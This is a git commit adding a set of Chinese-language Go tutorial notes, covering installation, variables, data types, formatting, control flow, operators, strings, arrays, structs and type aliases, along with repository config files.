first commit

This commit is contained in:
朱毅骏 2021-07-02 18:11:59 +08:00
commit 6b12e386da
181 changed files with 15104 additions and 0 deletions

1
.gitattributes vendored Normal file
View File

@ -0,0 +1 @@
*.md linguist-language=Go

76
.gitignore vendored Normal file
View File

@ -0,0 +1,76 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# Runtime data
pids
*.pid
*.seed
*.pid.lock
*.json.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
# nyc test coverage
.nyc_output
# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
# next.js build output
.next
# jetbrains file
.idea/
trunk/.idea/
# mac file
.DS_Store
*/.DS_Store
# production file
dist/
# go practice file
*.go

9
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,9 @@
{
"editor.defaultFormatter": "esbenp.prettier-vscode",
"editor.formatOnSave": true,
"editor.formatOnType": true,
"editor.codeActionsOnSave": {
"source.fixAll.eslint": true /*js*/,
"source.fixAll.markdownlint": true /*markdown*/
}
}

View File

@ -0,0 +1,140 @@
## Go语言介绍
Go语言是Google公司开发的一种静态编译型语言具备自动垃圾回收功能原生支持并发开发
Go的诞生是为了解决当下编程语言对并发支持不友好编译速度慢编程复杂这三个主要问题
Go既拥有接近静态编译语言如C的安全和性能又有接近脚本语言如python的开发效率其主要特点有
- 天然并发语言层面支持并发包括gorotuinechannel
- 语法优势没有历史包袱包含多返回值匿名函数defer
- 语言层面支持多核CPU利用
与Java相比的不同
- 没有Java支持的一些面向对象思想重载构造函数继承等
- 代码规范严格花括号位置固定变量名大小写代表公有私有等
- 支持函数式编程匿名函数闭包
- 接口非侵入式不需要显式声明对接口的继承实现了接口的方法即为实现了该接口类型
## Go安装
推荐使用官方的安装包直接安装下载地址https://golang.google.cn/dl/
贴士本笔记都是基于go1.13
**Win安装Go**
打开Win安装包下一步下一步即可默认安装在目录c:\Go
**Mac安装Go**
打开Mac安装包下一步下一步即可需要预装Xcode安装完毕后需配置环境变量即可使用但是如果要使用一些`go mod`功能推荐如下配置
```
vim ~/.bash_profile
export GOROOT=/usr/local/go # golang本身的安装位置
export GOPATH=~/go/ # golang包的本地安装位置
export GOPROXY=https://goproxy.io # golang包的下载代理
export GO111MODULE=on # 开启go mod模式
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
# 重启环境
source ~/.bash_profile
```
**Linux安装Go**
```
# 下载解压
wget https://dl.google.com/go/go1.13.1.linux-amd64.tar.gz
tar zxvf go*.tar.gz -C /usr/local/
# 配置环境注意该环境必须是go1.11版本及以上且项目要求使用go mod才可以开启
vim /etc/profile
export GOROOT=/usr/local/go # golang本身的安装位置
export GOPATH=~/go # golang包的本地安装位置
export GOPROXY=https://goproxy.io,direct # golang包的下载代理,回源地址获取
export GO111MODULE=on # 开启go mod模式
export PATH=$PATH:$GOROOT/bin # go本身二进制文件的环境变量
export PATH=$PATH:$GOPATH/bin # go第三方二进制文件的环境便令
# 重启环境
source /etc/profile
```
测试安装
```
# 查看go版本
go version
# 查看go环境配置
go env
```
关于`go modules`的详细讲解位于本章12节
## HelloWorld
新建文件`hello.go`代码如下
```go
package main //每个程序都有且仅有一个main包
import "fmt"
func main() { //主函数main只有一个
fmt.Println("Hello World!") //函数调用:包名.函数名
}
```
运行文件
```
# 执行方式一先编译再运行
go build hello.go # 编译在同级目录下生成文件`hello`添加参数`-o 名称` 则可指定生成的文件名
./hello # 运行贴士win下生成的是.exe文件直接双击执行即可
# 执行方式二直接运行
go run hello.go
```
两种执行流程的区别
- 先编译方式可执行文件可以在任意没有go环境的机器上运行因为go依赖被打包进了可执行文件
- 直接执行方式源码执行时依赖于机器上的go环境没有go环境无法直接运行
## Go语法注意
- Go源文件以 "go" 为扩展名
- 与JavaC语言类似Go应用程序的执行入口也是main()函数
- Go语言严格区分大小写
- Go不需要分号结尾
- Go编译是一行一行执行所以不能将类似两个 Print 函数写在一行
- Go语言定义的变量或者import的包如果没有使用到代码不能编译通过
- Go的注释使用 // 或者 /* */
## 开发工具推荐
笔者推荐的go开发工具
- goland
- vscode
vscode的相关go插件会出现无法下载情况解决办法
```
# 如果开启了go mod
go get -u -v github.com/ramya-rao-a/go-outline
go get -u -v github.com/acroca/go-symbols
go get -u -v golang.org/x/tools/cmd/guru
go get -u -v golang.org/x/tools/cmd/gorename
go get -u -v github.com/rogpeppe/godef
go get -u -v github.com/sqs/goreturns
go get -u -v github.com/cweill/gotests/gotests
go get -u -v golang.org/x/lint/golint
# 如果未开启go mod则需要进入cd $GOPATH/src 使用 git clone 下载上述文件
# 安装
cd $GOPATH
go install github.com/ramya-rao-a/go-outline
go install github.com/acroca/go-symbols
go install golang.org/x/tools/cmd/guru
go install golang.org/x/tools/cmd/gorename
go install github.com/rogpeppe/godef
go install github.com/sqs/goreturns
go install github.com/cweill/gotests/gotests
go install golang.org/x/lint/golint
```

View File

@ -0,0 +1,130 @@
## 标识符
#### 1.1 关键字
Go现在拥有25个关键字
```
if for func case struct import
go type chan defer default package
map const else break select interface
var goto range return switch continue fallthrough
```
#### 1.2 保留字
```
内建常量
true false iota nil
内建类型
int int8 int16 int32 int64
uint uint8 uint16 uint32 uint64 uintptr
float32 float64
complex128 complex64
bool
byte rune string error
内建函数
make delete complex panic append copy
close len cap real imag new recover
```
## 变量
#### 2.1 变量声明
Go变量声明的三种方式
```go
var a int // 声明一个变量默认为0
var b = 10 // 声明并初始化,且自动推导类型
c := 20 // 初始化,且自动推导
```
注意
- `:=`定义变量只能在函数内部使用所以经常用var定义全局变量
- Go对已经声明但未使用的变量会在编译阶段报错`** not used`
- Go中的标识符以字母或者下划线开头大小写敏感
- Go推荐使用驼峰命名
#### 2.2 多变量声明
```go
var a,b string
var a1,b1 string = "哼","哈"
var a2,b2 int = 1,2 //类型可以直接省略
c,d := 1,2
var(
e int
f bool
)
```
#### 2.3 变量值互换
```go
m,n = n,m //变量值互换
temp,_ = m,n //匿名变量变量值互换且丢弃变量n
```
#### 2.4 _丢弃变量
`_`是个特殊的变量名任何赋予它的值都会被丢弃该变量不占用命名空间也不会分配内存
```go
_, b := 34, 35 //将值`35`赋予`b`,并同时丢弃`34`
```
#### 2.5 := 声明的注意事项
下面是正确的代码示例
```go
in, err := os.Open(file)
out, err := os.Create(file) // err已经在上方定义此处的 err其实是赋值
```
但是如果在第二行赋值的变量名全部和第一行一致则编译不通过
```go
in, err := os.Open(file)
in, err := os.Create(file) // 即 := 必须确保至少有一个变量是用于声明
```
`:=`只有对已经在同级词法域声明过的变量才和赋值操作语句等价如果变量是在外部词法域声明的那么`:=`将会在当前词法域重新声明一个新的变量
#### 2.6 多数据分组书写
Go可以使用该方式声明多个数据
```go
const(
i = 100
pi = 3.1415
prefix = "Go_"
)
var(
i int
pi float32
prefix string
)
```
## 关键字iota
关键字iota声明初始值为0每行递增1
```go
const (
a = iota // 0
b = iota // 1
c = iota // 2
)
const (
d = iota // 0
e // 1
f // 2
)
//如果iota在同一行则值都一样
const (
g = iota //0
h,i,j = iota,iota,iota // 1,1,1
// k = 3 // 此处不能定义缺省常量,会编译错误
)
```

View File

@ -0,0 +1,99 @@
## 数据类型分类
值类型基本数据类型是Go语言实际的原子复合数据类型是由不同的方式组合基本类型构造出来的数据类型数组slicemap结构体
```
整型 int8,uint # 基础类型之数字类型
浮点型 float32float64 # 基础类型之数字类型
复数 # 基础类型之数字类型
布尔型 bool # 基础类型只能存true/false占据1个字节不能转换为整型0和1也不能转换为布尔
字符串 string # 基础类型
数组 # 复合类型
结构体 struct # 复合类型
```
引用类型即保存的是对程序中一个变量的或状态的间接引用对其修改将影响所有该引用的拷贝
```
指针 *
切片 slice
字典 map
函数 func
管道 chan
接口 interface
```
贴士Go语言没有字符型可以使用byte来保存单个字母
## 零值机制
Go变量初始化会自带默认值不像其他语言为空下面列出各种数据类型对应的0值
```go
int 0
int8 0
int32 0
int64 0
uint 0x0
rune 0 //rune的实际类型是 int32
byte 0x0 // byte的实际类型是 uint8
float32 0 //长度为 4 byte
float64 0 //长度为 8 byte
bool false
string ""
```
## 格式化输出
常用格式化输出
```
%% %字面量
%b 二进制整数值基数为2或者是一个科学记数法表示的指数为2的浮点数
%c 该值对应的unicode字符
%d 十进制数值基数为10
%e 科学记数法e表示的浮点或者复数
%E 科学记数法E表示的浮点或者附属
%f 标准计数法表示的浮点或者附属
%o 8进制度
%p 十六进制表示的一个地址值
%s 输出字符串或字节数组
%T 输出值的类型注意int32和int是两种不同的类型编译器不会自动转换需要类型转换
%v 值的默认格式表示
%+v 类似%v但输出结构体时会添加字段名
%#v 值的Go语法表示
%t 单词true或false
%q 该值对应的单引号括起来的go语法字符字面值必要时会采用安全的转义表示
%x 表示为十六进制使用a-f
%X 表示为十六进制使用A-F
%U 表示为Unicode格式U+1234等价于"U+%04X"
```
示例
```go
type User struct {
Name string
Age int
}
user : = User{
"overnote",
1,
}
fmt.Printf("%%\n") // %
fmt.Printf("%b\n", 16) // 10000
fmt.Printf("%c\n", 65) // A
fmt.Printf("%c\n", 0x4f60) // 你
fmt.Printf("%U\n", '你') // U+4f60
fmt.Printf("%x\n", '你') // 4f60
fmt.Printf("%X\n", '你') // 4F60
fmt.Printf("%d\n", 'A') // 65
fmt.Printf("%t\n", 1 > 2) // false
fmt.Printf("%e\n", 4396.7777777) // 4.396778e+03 默认精度6位
fmt.Printf("%20.3e\n", 4396.7777777) // 4.397e+03 设置宽度20,精度3,宽度一般用于对齐
fmt.Printf("%E\n", 4396.7777777) // 4.396778E+03
fmt.Printf("%f\n", 4396.7777777) // 4396.777778
fmt.Printf("%o\n", 16) // 20
fmt.Printf("%p\n", []int{1}) // 0xc000016110
fmt.Printf("Hello %s\n", "World") // Hello World
fmt.Printf("Hello %q\n", "World") // Hello "World"
fmt.Printf("%T\n", 3.0) // float64
fmt.Printf("%v\n", user) // {overnote 1}
fmt.Printf("%+v\n", user) // {Name:overnote Age:1}
fmt.Printf("%#v\n", user) // main.User{Name:"overnote", Age:1}
```

View File

@ -0,0 +1,118 @@
## 流程控制之-条件语句
#### 1.1 判断语句 if
`if`判断示例
```go
// 初始化与判断写在一起: if a := 10; a == 10
if i == '3' {
}
```
`if`的特殊写法
```go
if err := Connect(); err != nil { // 这里的 err!=nil 才是真正的if判断表达式
}
```
#### 1.2 分支语句 switch
示例
```go
switch num {
case 1: // case 中可以是表达式
fmt.Println("111")
case 2:
fmt.Println("222")
default:
fmt.Println("000")
}
```
贴士
- Go保留了`break`用来跳出switch语句上述案例的分支中默认就书写了该关键字
- Go也提供`fallthrough`代表不跳出switch后面的语句无条件执行
## 流程控制之-循环语句
#### 2.1 for循环
Go只支持for一种循环语句但是可以对应很多场景
```go
// 传统的for循环
for init;condition;post{
}
// for循环简化
var i int
for ; ; i++ {
if(i > 10){
break;
}
}
// 类似while循环
for condition {}
// 死循环
for{
}
// for range:一般用于遍历数组、切片、字符串、map、管道
for k, v := range []int{1,2,3} {
}
```
#### 2.2 跳出循环
常用的跳出循环关键字
- `break`用于函数内跳出当前`for``switch``select`语句的执行
- `continue`用于跳出`for`循环的本次迭代
- `goto`可以退出多层循环
break跳出循环案例(continue同下)
```go
OuterLoop:
for i := 0; i < 2; i++ {
for j := 0; j < 5; j++ {
switch j {
case 2:
fmt.Println(i,j)
break OuterLoop
case 3:
fmt.Println(i,j)
break OuterLoop
}
}
}
```
goto跳出多重循环案例
```go
for x:=0; x<10; x++ {
for y:=0; y<10; x++ {
if y==2 {
goto breakHere
}
}
}
breakHere:
fmt.Println("break")
```
贴士goto也可以用来统一错误处理
```go
if err != nil {
goto onExit
}
onExit:
fmt.Pritln(err)
exitProcess()
```

View File

@ -0,0 +1,108 @@
## 运算符
#### 1.1 运算符汇总
```
算术运算符 + - * / % ++ --
关系运算符 == != <= >= < >
逻辑运算符 ! && ||
位运算 &按位与 |按位或 ^按位取反 <<左移 >>右移
赋值运算符 = += -= *= /= %= <<= >>= &= ^= |=
其他运算符 &取地址 *取指针值 <-Go Channel相关运算符
```
#### 1.2 自增自减
Go中只有`后--``后++`且自增自减不能用于表达式中只能独立使用
```go
a = i++ // 错误用法
if i++ > 0 {} // 错误用法
i++ // 正确用法
```
#### 1.3 位运算
```
& 按位与参与运算的两个数二进制位相与同时为1结果为1否则为0
| 按位或参与运算的两个数二进制位相或有一个为1结果为1否则为0
^ 按位异或二进位不同结果为1否则为0
<< 按位左移二进位左移若干位高位丢弃低位补0左移n位其实就是乘以2的n次方
>> 按位右移二进位右移若干位右移n位其实就是除以2的n次方
```
## 优先级
![](../images/go/01-01.svg)
## 进制转换
#### 1.1 常见进制
- 二进制只有0和1Go中不能直接使用二进制表示整数
- 八进制0-7以数字0开头
- 十进制0-9
- 十六进制0-9以及A-F以0X开头A-F以及X不区分大小写
#### 1.2 任意进制转换为十进制
二进制转十进制
> 从最低位开始每个位上数乘以2位数-1次方然后求和
> 1011 = 1\*2<sup>0</sup> + 1\*2<sup>1</sup> + 0\*2<sup>2</sup> + 1\*2<sup>3</sup> = 11
八进制转十进制
> 从最低位开始每个位上数乘以8位数-1次方然后求和
> 0123 = 3\*8<sup>0</sup> + 2\*8<sup>1</sup> + 1\*8<sup>2</sup> + 0\*8<sup>3</sup> = 83
其他进制转十进制同理
#### 1.3 十进制转其他进制
十进制转二进制
> 不断除以2直到0为止,余数倒过来即可如图计算28转换为二进制11100
![](../images/go/01-02.svg)
十进制转八进制不断除以8直到0为止余数倒过来即可
十进制转十六进制不断除以16直到0为止余数倒过来即可
#### 1.4 其他进制互转
- 二进制转换八进制将二进制数从低位开始每三位一组转换成八进制数即可
- 二进制转十六进制将二进制数从低位开始每四位一组转换成十六进制数即可
- 八进制转换二进制将八进制数每1位转换成一个3位的二进制数首位0除外
- 十六进制转二进制将十六进制每1位转换成对应的一个4位的二进制数即可
## 计算机运算原理
计算机常见的术语
- bit比特代表1个二进制位一个位只能是0或者1
- Byte字节代表8个二进制位计算机中存储的最小单元是字节
- WORD双字节即2个字节16
- DWORD两个WORD即4个字节32
一些常用单位
- 1b1bit1
- 1Kb1024bit即1024位
- 1Mb1024*1024bit
- 1B1Byte1字节8
- 1KB1024B
- 1MB1024K
对于有符号数而言二进制的最高为是符号位0表示正数1表示负数比如 1在二进制中
```
1 二进制位0000 0001
-1 二进制位1000 0001
```
正数的原码反码补码都一样负数的反码=原码符号位不变其他位取反补码是反码+1
```
1 -1
原码 0000 0001 1000 0001
反码 0000 0001 1111 1110
补码 0000 0001 1111 1111
```
常见理解
- 0的反码补码都是0
- 计算机中是以补码形式运算的

View File

@ -0,0 +1,107 @@
## 数值类型
数值类型指基本类型中的整型浮点型复数
## 整数
整数类型有无符号(如int)和带符号(如uint)两种这两种类型的长度相同但具体长度取决于不同编译器的实现
int8int16int32和int64四种有符号整数类型分别对应8163264bit大小的有符号整数
同样uint8uint16uint32和uint64对应四种无符号整数类型
有符号类型
```
int 32位系统占4字节与int32范围一样64位系统占8个节与int64范围一样
int8 占据1字节 范围 -128 ~ 127
int16 占据2字节 范围 -2(15次方) ~ 215次方-1
int32 占据4字节 范围 -2(31次方) ~ 231次方-1
int64 占据8字节 范围 -2(63次方) ~ 263次方-1
rune int32的别称
```
无符号类型
```
uint 32位系统占4字节与uint32范围一样64位系统占8字节与uint64范围一样
uint8 占据1字节 范围 0 ~ 255
uint16 占据2字节 范围 0 ~ 216次方-1
uint32 占据4字节 范围 0 ~ 232次方-1
uint64 占据8字节 范围 0 ~ 264次方-1
byte uint8的别称
```
注意
- 上述类型的变量由于是不同类型不允许互相赋值或操作
- Go默认的整型类型是int
- 查看数据所占据的字节数方法unsafe.Sizeof()
## 浮点类型
#### 3.1 浮点类型的分类
```
float32 单精度 占据4字节 范围 -3.403E38 ~ 3.403E38 (math.MaxFloat32)
float64 双精度 占据8字节 范围 -1.798E208 ~ 1.798E308 (math.MaxFloat64)
```
由上看出
- 浮点数是有符号的浮点数在机器中存放形式是浮点数=符号位+指数位+尾数位
- 浮点型的范围是固定的不受操作系统限制
- `.512` 这样数可以识别为 `0.512`
- 科学计数法
- 5.12E2 = 5.12 * 10<sup>2</sup>
- 5.12E-2 = 5.12 / 10<sup>2</sup>
#### 3.2 精度损失
float32可以提供大约6个十进制数的精度float64大约可以提供15个十进制的精度一般选择float64
```go
var num1 float32 = -123.0000901
var num2 float64 = -123.0000901
fmt.Println("num1=",num1) // -123.00009
fmt.Println("num2=",num2) // -123.0000901
```
#### 3.3 浮点数判断相等
使用 == 号判断浮点数是不可行的替代方案如下
```go
func isEqual(f1,f2,p float64) bool {
// p为用户自定义精度0.00001
return math.Abs(f1-f2) < p
}
```
## 复数
Go中复数默认类型是complex12864位实数+64位虚数如果需要小一些的也有complex64(32位实数+32位虚数)
复数的形式为`RE + IMi`其中RE是实数部分IM是虚数部分而最后的i是虚数单位
如下所示
```go
var t complex128
t = 2.1 + 3.14i
t1 = complex(2.1,3.14) // 结果同上
fmt.Println(real(t)) // 实部2.1
fmt.Println(imag(t)) // 虚部3.14
```
## NaN非数
go中的`NaN`非数
```go
var z float64
// 输出 "0 -0 +Inf -Inf NaN"
fmt.Println(z, -z, 1/z, -1/z, z/z)
```
注意
- 函数`math.IsNaN`用于测试一个数是否是非数NaN
- 函数`math.NaN`则返回非数对应的值
- 虽然可以用math.NaN来表示一个非法的结果但是测试一个结果是否是非数NaN则是充满风险的因为NaN和任何数都是不相等的
```go
nan := math.NaN()
// "false false false"
fmt.Println(nan == nan, nan < nan, nan > nan)
```

View File

@ -0,0 +1,220 @@
## 字符
Golang 中没有专门的字符类型如果要存储单个字符(字母)一般使用 byte 来保存且使用单引号包裹
```go
var c1 byte = 'a'
var c2 byte = '0'
fmt.Println("c1=", c1) //输出 97
fmt.Println("c2=", c2) //输出48
fmt.Printf("c1=%c,c2=%c\n", c1, c2) //输出原值 a 0
//var c3 byte = '北'
//fmt.Printf("c3=%c", c3) // 溢出错误:overflows byte
```
贴士
- 字符类型也可以用`d%`打印为整型
- 如果我们保存的字符在 ASCII 表的,比如[0-1, a-z,A-Z..]直接可以保存到 byte
- 如果我们保存的字符对应码值大于 255,这时我们可以考虑使用 int 类型保存
- 如果我们需要安装字符的方式输出这时我们需要格式化输出 fmt.Printf(%c, c1)
- 字符可以和整型进行运算
## 字符串
传统的字符串是由字符组成的而Go的字符串是由单个字节连接起来的即Go字符串是一串固定长度的字符连接起来的字符序列
字符串在Go语言中是基本类型内容在初始化后不能修改
Go中的字符串都是采用UTF-8字符集编码使用一对双引号`""`或反引号` `` `定义` `` `可以额外解析换行即其没有字符转义功能
```go
var str1 string
str1 = "Hello "
str2 := " World!"
fmt.Println(str1[0]) // 输出字符串第一个字符 72
fmt.Println(len(str1)) // 输出长度 6
fmt.Println(str1 + str2) // 输出不带空格的
// 字符串不可变,编译报错: cannot assign to 因为
// str1[0] = 'c'
```
由于Go中的字符串不可直接改变可以使用下列两种方式进行修改
方式一通过转换为字节数组`[]byte`类型构造一个临时字符串
```go
str := "hello"
strTemp := []byte(str)
fmt.Println("strTemp=", strTemp) // [104 101 108 108 111]
strTemp[0] = 'c'
strResult := string(strTemp)
fmt.Println("strResult=", strResult) // strResult= cello
```
方式二使用切片
```go
str := "hello"
str = "c"+ str[1:] // 1: 表示从第1位开始到最后
```
Go和Java等语言一样字符串默认是不可变的这样保证了线程安全大家使用的都是只读对象无须加锁且能很方便的共享内存不必使用写时复制
## 字符串常用操作
#### 3.1 len()函数与字符串遍历
len()函数是go语言的内建函数可以用来获取字符串切片通道等的长度
```go
package main
import (
"fmt"
"unicode/utf8"
)
func main() {
str1 := "hello world"
str2 := "你好,"
fmt.Println(len(str1)) // 11
fmt.Println(len(str2)) // 9
fmt.Println(utf8.RuneCountInString(str2)) // 3
}
```
第一个函数输出11很容易理解第二个函数却输出了9理论上我们会认为应该是3才对这是因为Go的字符串都是以UTF-8格式保存每个中文占据3个字节Go中计算UTF-8字符串格式的长度应该使用`utf8.RuneCountInString`
字符串遍历方式一使用字节数组注意每个中文在UTF-8中占据3个字节
```go
str := "hello"
for i := 0; i < len(str); i++ {
fmt.Println(i,str[i])
}
```
字符串遍历方式二range关键字只是第一种遍历方式的简写
```go
str := "你好"
for i,ch := range str {
fmt.Println(i,ch)
}
```
**注意**由于上述len()函数本身原因Unicode字符遍历需要使用range
#### 3.2 string()函数类型转换
go的内建函数 `string()`可以将其他类型转变为字符串类型
```go
num := 12
fmt.Printf("%T \n", string(num)) // string
```
#### 3.3 字符串连接
使用`+`能够连接字符串但是该操作并不高效因为字符串在Go中是基本类型每次拼接都是拷贝了内存Go1.10提供了类似Java的StringBuilder机制来进行高效字符串连接
```go
package main
import (
"strings"
"fmt"
)
func main() {
str1 := "hello "
str2 := " world"
//创建字节缓冲
var stringBuilder strings.Builder
//把字符串写入缓冲
stringBuilder.WriteString(str1)
stringBuilder.WriteString(str2)
//将缓冲以字符串形式输出
fmt.Println(stringBuilder.String())
}
```
在1.10版本前可以使用bytes.Buffer拼接字符串因为字符串其实是字节数组
```go
var buf bytes.Buffer
buf.WriteString("hello")
fmt.Println(buf.String())
```
## strings包相关函数
strings包提供了字符串的一些常见操作函数
```go
//查找s在字符串str中的索引
Index(str, s string) int
//判断str是否包含s
Contains(str, s string) bool
//通过字符串str连接切片 s
Join(s []string, str string) string
//替换字符串str中old字符串为new字符串n表示替换的次数小于0全部替换
Replace(str,old,new string,n int) string
//字符串str按照s分割返回切片
Split(str,s string)[]string
// 去除头部、尾部指定的字符串
Trim(s string, cutset string) string
// 去除空格,返回切片
Fields(s string) []string
```
## strconv包的字符串转换函数
在Java中遇到 `"你好" + 123`会将 `+`转变为连接符而Go语言要求 `+` 号两边数据的数据类型必须一致这使得类似的操作变得比较不便Go提供了strconv包用于字符串与基本类型之间的转换常用函数有AppendFormatParse
```Go
package main
import (
"fmt"
"strconv"
)
func main() {
// Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中
str1 := make([]byte, 0, 100)
str1 = strconv.AppendInt(str1, 4567, 10)
str1 = strconv.AppendBool(str1, false)
str1 = strconv.AppendQuote(str1, "abcdefg")
str1 = strconv.AppendQuoteRune(str1, '单')
fmt.Println(string(str1)) // 4567false"abcdefg"'单'
// Format 系列函数把其他类型的转换为字符串
a := strconv.FormatBool(false)
b := strconv.FormatFloat(123.23, 'g', 12, 64)
c := strconv.FormatInt(1234, 10)
d := strconv.FormatUint(12345, 10)
e := strconv.Itoa(1023)
fmt.Println(a, b, c, d, e) // false 123.23 1234 12345 1023
// Parse 系列函数把字符串转换为其他类型
f, _ := strconv.ParseBool("false")
g, _ := strconv.ParseFloat("123.23", 64)
h, _ := strconv.ParseInt("1234", 10, 64)
i, _ := strconv.ParseUint("12345", 10, 64)
j, _ := strconv.Atoi("1023")
fmt.Println(f, g, h, j, i, j) // false 123.23 1234 1023 12345 1023
}
```

View File

@ -0,0 +1,53 @@
## 数组
#### 1.1 数组的声明
数组是一段固定长度的连续内存区域数组的长度定义后不可更改长度使用 len() 获取
```go
var arr1 [10]int //定义长度为10的整型数组很少这样使用
arr2 [5]int := [5]int{1,2,3,4,5} //定义并初始化
arr3 := [5]int{1,2,3,4,5} //自动推导并初始化
arr4 := [5]int{1,2} //指定总长度,前几位被初始化,没有的使用零值
arr5 := [5]int{2:10, 4:11} //有选择的初始化,没被初始化的使用零值
arr6 := [...]int{2,3,4} //自动计算长度
```
#### 1.2 数组常用操作
```
arr[:] 代表所有元素
arr[:5] 代表前五个元素即区间的左闭右开
arr[5:] 代表从第5个开始不包含第5个
len(arr) 数组的长度
```
贴士上述操作会引发类型的变化数组将会转化为Go中新的数据类型slice见09节
#### 1.3 数组的遍历
方式一for循环遍历
```go
arr := [3]int{1,2,3}
for i := 0; i < len(arr); i++ {
fmt.Println(arr[i])
}
```
方式二for-range遍历
```go
arr := [3]int{1,2,3}
for k, v := range arr {
fmt.Println(k) //元素位置
fmt.Println(v) //元素值
}
```
#### 1.4 数组使用注意事项
数组创建完长度就固定不可以再追加元素
长度是数组类型的一部分因此`[3]int``[4]int`是不同的类型
数组之间的赋值是值的赋值即当把一个数组作为参数传入函数的时候传入的其实是该函数的副本而不是他的指针

View File

@ -0,0 +1,141 @@
## 结构体的基本使用
结构体可以用来声明新的类型作为其他类型的属性/字段的容器如下定义一个学生结构体
```go
type Person struct {
name string
age int
}
//按顺序初始化:每个成员都必须初始化
var p1 Person = Person{"lisi", 20}
//制定成员初始化:没有被初始化的,自动赋零值
p2 := Person{age:30}
// new 申请结构体
p3 := new(Person) //被new生成的结构体实例其实是指针类型
p3.name = "zs" //这里的.语法只是语法糖将p3.name转换成了(*p3).name
p3.age = 27
//直接声明
var s4 Person
p4.name = "ww"
p4.age = 30
```
贴士
- struct的结构中的类型可以是任意类型且存储空间是连续的其字段按照声明时的顺序存放
- 如果结构体的所有的成员都是可以比较的那么结构体本身也是可以比较的使用 == != 不支持 > <
- 如果结构体的成员要被包外调用需要大写首字母
## 结构体地址与实例化
前面说过对结构体的new其实是生成了一个指针类型其实对结构体进行`&`取地址操作时也可以视为对该类型进行一次`new`的实例化操作
```go
ins := &T{}
# T是结构体类型
# ins为结构体的实例类型为*T是指针类型
```
## 内嵌结构体
当前结构体可以直接访问其内嵌结构体的内部字段
```go
package main
import "fmt"
type Animal struct {
Age int
}
type Person struct {
Animal
Name string
}
type Student struct {
Person
ClassName string
}
func main() {
// 初始化方式1
s1 := Student{
Person{
Animal: Animal {
Age: 15,
},
Name:"lisi",
},
"一班",
}
fmt.Println(s1.Age) // 正确输出15
fmt.Println(s1.Person.Name) // 正确输出lisi
// 初始化方式2
var s2 Student
s2.Name = "zs"
s2.Age = 30
s2.ClassName = "二班"
fmt.Println(s2.Age) // 正确输出30
fmt.Println(s2.Person.Name) // 正确输出zs
}
```
## 匿名字段
结构体的字段名与类型一一对应如果不提供名字则为匿名字段
匿名字段如果是一个struct这个struct拥有的全部字段都被隐式引入了当前的struct
```go
type Person struct {
name string
age int
}
type Student struct {
Person // 匿名字段那么默认Student就包含了Person的所有字段
classroom string
}
```
不仅仅是struct其他所有内置类型和自定义类型都可以作为匿名字段
```go
package main
import "fmt"
type Person struct {
name string
age int
}
type course []string
type Student struct {
Person // 匿名字段struct
course // 内置一个切片类型
classroom string
}
func main() {
// 创建一个学生
s := Student{Person:Person{"LiLei", 17}, classroom:"二班"}
// 访问该学生字段
fmt.Println("name = ", s.name)
fmt.Println("classroom = ", s.classroom)
// 修改学生的课程
s.course = []string{"语文", "美术"}
fmt.Println("course = ", s.course) // [语文 美术]
}
```
贴士如果Person和Student中都有同一个字段那么Go会优先访问当前层例如二者都有`tel`字段那么`s.tel`将会访问的是Student中的数据

View File

@ -0,0 +1,190 @@
## 数据类型转换
#### 1.1 显式转换
Go在不同类型的变量之间赋值时需要显式转换也就是说Golang中数据类型不能自动转换
#### 1.2 数值类型转换
```go
var i int32 = 100
var n1 float64 = float64(i)
fmt.Printf("n1=%v", n1) //输出100
```
注意在转换中比如将`int64`转成`int8【-128---127】`编译时不会报错只是转换的结果是按溢出处理和我们希望的结果不一样 因此在转换时需要考虑范围
#### 1.3 基本数据类型与字符串转换
基本数据类型转字符串fmt.Sprintf();该函数会返回转换后的字符串
```go
var b bool = true
var str string
str = fmt.Sprintf("%t", b)
fmt.Printf(str) //true
```
字符串转基本数据类型使用包strconv
```go
var str string = "true"
var b bool
b, _ = strconv.ParseBool(str)
fmt.Printf("%v", b)
```
注意在将`String`类型转成基本数据类型时要确保`String`类型能够转成有效的数据比如可以把"123",转成一个整数但不能转换"hello"如果这样做Golang 直接将其转成`0`其它类型也是一样的道理`float => 0 bool => false`
## 类型别名
#### 2.1 类型别名的使用
Go在1.9版本加入了类型别名主要用于代码升级迁移中类型的兼容问题C/C++中使用宏来解决重构升级带来的问题
Go1.9之前的版本内部定义了新的类型byte和rune用于指代`uint8``int32`
```go
type byte uint8
type rune int32
```
Go1.9之后`uint8``int32`使用了类型别名
```go
type byte = uint8 // 使用 = 号定义后,都会按照等号右边的类型打印、计算
type rune = int32
```
类型定义是定义了一个全新的类型的类型类型别名只是某个类型的小名并非创造了新的类型
```go
type MyInt int // 类型定义
type AliasInt = int // 类型别名,支持使用括号,同时起多个别名
var a1 MyInt
fmt.Printf("a1 type: %T\n", a1) //main.MyInt
var a2 AliasInt
fmt.Printf("a2 type: %T\n", a2) //int
```
#### 2.2 不同包下的类型定义
如下示例在项目根目录新建文件夹`mypack`在该目录建立`person.go`文件
```go
package mypack
import "fmt"
type Person struct {
}
func (p *Person)Run() {
fmt.Println("run...")
}
```
在main.go中如下使用
```go
package main
import (
"TestGo/mypack" // // TestGo 是 go.mod文件中定义的项目名module TestGo
"fmt"
)
type Student mypack.Person
func (s *Student) Study() {
fmt.Println("study...")
}
func main() {
s := &Student{}
s.Study()
}
```
#### 2.3 不同包下的类型别名
2.2 中的案例如果将类型定义改为类型别名
```go
type Student = mypack.Person // 这时Student的方法就会报错无法为 Person 添加新的方法
```
使用方式必须直接在person文件中直接使用类型别名
```go
package mypack
import "fmt"
type Person struct {
}
func (p *Person)Run() {
fmt.Println("run...")
}
type Student = Person
func (p *Student) Study() {
fmt.Println("study...")
}
```
main中调用别名方法
```go
package mypack
